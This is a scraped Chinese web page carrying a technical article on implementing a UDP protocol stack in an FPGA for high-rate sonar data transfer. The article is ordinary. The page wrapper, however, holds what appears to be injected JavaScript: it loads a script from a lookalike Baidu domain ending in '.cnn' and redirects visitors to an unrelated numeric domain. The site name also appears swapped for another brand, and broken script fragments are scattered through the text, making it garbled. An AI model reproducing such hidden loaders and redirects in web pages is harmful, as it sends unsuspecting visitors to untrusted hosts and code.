else { bp.src = 'http://push.zhanzhang.baidu.cnn/push.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); )(); if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) { location.href = location.href.replace(document.location.host, 'www.284719.com'); 声纳信号处理中UDP协议数据传输研究与设计_九五至尊网站 )(); var sAdClassIDs=""; sAdClassIDs="ybzhan;";

九五至尊网站

产品推荐:水表|流量计|压力变送器|热电偶|液位计|冷热冲击试验箱|水质分析|光谱仪|试验机|试验箱


九五至尊网站>技术中心>应用设计>正文

2024网课宣传广告

同类产品

查看更多

欢迎联系我

有什么可以帮您? 在线咨询
jQuery(document).ready(function () { var xwtkq = Vivian.GetCloseAppKfTalkToUserIDorCompanyID("","442353").value; if (xwtkq == "0") { jQuery("#Consultation").bind("contextmenu click",function () {ChangeTopHeight(0,68630,0,442353); ); else{ jQuery("#Consultation").hide(); )

声纳信号处理中UDP协议数据传输研究与设计

   2012年04月18日 17:06  
  摘要:为了在声纳系统中通过以太网口进行大批量、高速率的数据传输处理,在FPGA中硬件实现了嵌入式UDP协议栈,完成了架构设计、软件仿真验证及硬件实现。用FPGA硬件实现UDP协议栈,加速了网络数据处理能力,使信号传输速率达到了80MB/s,实现了千兆级通信,很好地提高了声纳系统中数据传输速率和系统性能。同时,用FPGA硬件实现UDP协议,栈减小了PCB版图面积和布局布线复杂度,提高了开发效率,有效地降低了开发成本。
  
  引言
  
  UDP协议是一个简单的面向数据报的传输层协议,提供不呵靠的传输层服务。它只负责将应用数据打包交给网络层,但是不保证数据报能正确到达。UDP协议提供了一种zui简单的基于数据包的、不可靠的传输机制。其特点是以数据包为zui小传输单位,并且没有任何流量控制机制,适合传输效率要求较高且对传输可靠性要求不高的情况。
  
  现有XXX型号声纳系统需要实现Link口转UDP格式数据传输,以满足大批量、高速率的数据传输要求,现有的CPU和软件协议栈无法满足此要求。经仔细研究,发现用FPGA硬件实现UDP协议栈,可以很好地提高数据传输速率,满足该声纳系统的性能要求。本文实现了一种可配置、可重用的硬件UDP协议栈,完成了UDP协议的FPGA设计:设计了UDP发送端模块,UDP接收端模块以及Link端模块等,同时对所设计系统进行了验证。经过实际验证,系统数据通信速率达到了80MB/s,实现了千兆级以太网通信,很好地提高了声纳系统中数据传输速率和系统的性能,满足了XXX型声纳系统对大批量、高速率数据传输的要求。并且,此方案减小了PCB版图面积和布局布线复杂度,可以移植到任何其他的FPGA设计中,使开发效率得到了极大的提高,有效地降低了开发成本。
  
  1、声纳系统信号处理中UDP协议的FPGA设计
  
  1.1UDP模块设计
  
  UDP包头包括IP,端口号,UDP包长度,CHECKSUM四个部分。并且UDP信息包的标题很短(标题即头部),只有8B,其中,源端口(2B)、目的端口(2B)、长度(2B)、校验码(2B)。这里设计的架构通过发送端对数据进行打包,通过接收端进行解包。
  
  UDP协议的FPGA架构如图1所示。
  
  发送端(Tx)是头信息生成模块,从Link口发出的数据传入发送模块Tx内。然后,发送模块Tx中的裸数据发送到数据缓冲区RAM中,经由PartenGen模块在数据前面添加首部,即为数据进行传输层协议UDP打包。传输层协议打包好的数据传输到物理层模块,通过物理层调节芯片传送到以太网口。发送完成后,发送模块恢复空闲状态,等待下一次数据发送。在发送过程中,传输数据的IP地址是固定的。UDP发送过程没
  
  有可靠性的保证机制,只是进行数据的打包传输。发送模块结构图如图2所示。
  
  外部数据从以太网口经过物理层传入到接收端的数据缓冲区RAM中,外部数据是UDP格式的数据。接收模块Rx从数据缓冲区RAM中提取数据,在提取的过程中,Rx模块中的应用程序将UDP格式的数据的首部去除,只提取有效载荷部分。根据UDP数据包中的目的端口号,Rx将去UDP格式化的裸数据发送给Link口,完成接收端模块的功能任务,其示意图如图3所示。
  
  1.2Link模块设计
  
  在发送过程中,外部数据经过Link口传输给发送模块(Tx)进行打包处理,然后传输至MAC。Link端模块设计如图4所示。
  
  当acki为0时开始进行数据传输。工作时,有3个时钟输入:Link口时钟clk和clk270,以及系统本地时钟clk4。其中,clk4的频率是Link口时钟的1/4。Link的时序效果图如图5所示,在时钟的卜升沿与下降沿进行数据存写。双倍速率的数据通过Link后被分为单倍速率的数据写入UDP发送端Tx中。从Link出来的数据传入发送端Tx时,时钟每跳变一次,地址增加一次,发送端Tx将增加的地址写入到数据缓冲区RAM中,进行打包。
  
  2、系统实现
  
  本文在FPGA中对所设计的系统进行了验证与硬件实现。发送过程的QuartusⅡ8.0仿真波形图如图6所示。
  
  接收过程QuartusⅡ8.0仿真波形图如图7所示。
  
  本系统中FPGA选用的是Altera公司的EP2S60F672C5。系统有3个时钟域:系统时钟、发送时钟、接收时钟。其时序分析结果如表1所示。
  
  从表1中可以看出,系统时钟为83.28MHz,发送和接收时钟分别达到93.57MHz,79.16MHz。因此,整个系统能够满足80MB/s的速率要求。
  
  3、结语
  
  本文提出采用FPGA实现UDP协议栈,完成了架构设计、软件仿真验证及硬件实现。FPGA实现UDP协议栈的引入,加速了网络数据处理能力,提高了开发效率,降低了开发成本,很好地提高了声纳系统中数据传输速率和系统性能。
var regex = /(.*\:\/\/[^\/]*).*/; var match = url.match(regex); if(typeof match != "undefined" && null != match) { host = match[1]; return "" + host + "";

免责声明

  • 凡本网注明“来源:九五至尊网站”的所有作品,均为浙江兴旺宝明通网络有限公司-九五至尊网站合法拥有版权或有权使用的作品,未经本网授权不得转载、摘编或利用其它方式使用上述作品。已经本网授权使用作品的,应在授权范围内使用,并注明“来源:九五至尊网站”。违反上述声明者,本网将追究其相关法律责任。
  • 本网转载并注明自其它来源(非九五至尊网站)的作品,目的在于传递更多信息,并不代表本网赞同其观点或和对其真实性负责,不承担此类作品侵权行为的直接责任及连带责任。其他媒体、网站或个人从本网转载时,必须保留本网注明的作品第一来源,并自负版权等法律责任。
  • 如涉及作品内容、版权等问题,请在作品发表之日起一周内与本网联系,否则视为放弃相关权利。
联系我们

客服热线: 13199863987(同微信)

加盟热线: 13199863987(同微信)

媒体合作: 0571-87759945

投诉热线: 0571-87759942

关注我们
  • 下载仪表站APP

  • Ybzhan手机版

  • Ybzhan公众号

  • Ybzhan小程序

温馨提示

该企业已关闭在线交流功能

);
document.write("")